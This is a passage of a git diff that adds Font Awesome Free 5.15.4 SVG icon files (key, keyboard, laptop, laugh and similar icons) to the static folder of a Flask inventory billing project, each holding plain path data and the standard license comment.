1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/key.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/key.svg new file mode 100644 index 00000000..383c9ace --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/key.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/keyboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/keyboard.svg new file mode 100644 index 00000000..f397edc3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/keyboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/khanda.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/khanda.svg new file mode 100644 index 00000000..e1deeab2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/khanda.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-beam.svg new file mode 100644 index 00000000..94eb49e3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-wink-heart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-wink-heart.svg new file mode 100644 index 00000000..98dd9f8d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss-wink-heart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 504 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss.svg new file mode 100644 index 00000000..4eb436ed --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiss.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiwi-bird.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiwi-bird.svg new file mode 100644 index 00000000..95dec7f1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/kiwi-bird.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/landmark.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/landmark.svg new file mode 100644 index 00000000..d8acb968 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/landmark.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/language.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/language.svg new file mode 100644 index 00000000..7ca7e583 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/language.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-code.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-code.svg new file mode 100644 index 00000000..60671891 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-code.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-house.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-house.svg new file mode 100644 index 00000000..45459239 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-house.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-medical.svg new file mode 100644 index 00000000..61e41ba1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop.svg new file mode 100644 index 00000000..82522d31 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laptop.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-beam.svg new file mode 100644 index 00000000..cd5b7a13 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-squint.svg new file mode 100644 index 00000000..d48f8dc2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-wink.svg new file mode 100644 index 00000000..c5e2a445 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh.svg new file mode 100644 index 00000000..3d3084cd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/laugh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/layer-group.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/layer-group.svg new file mode 100644 index 00000000..f67632f1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/layer-group.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" 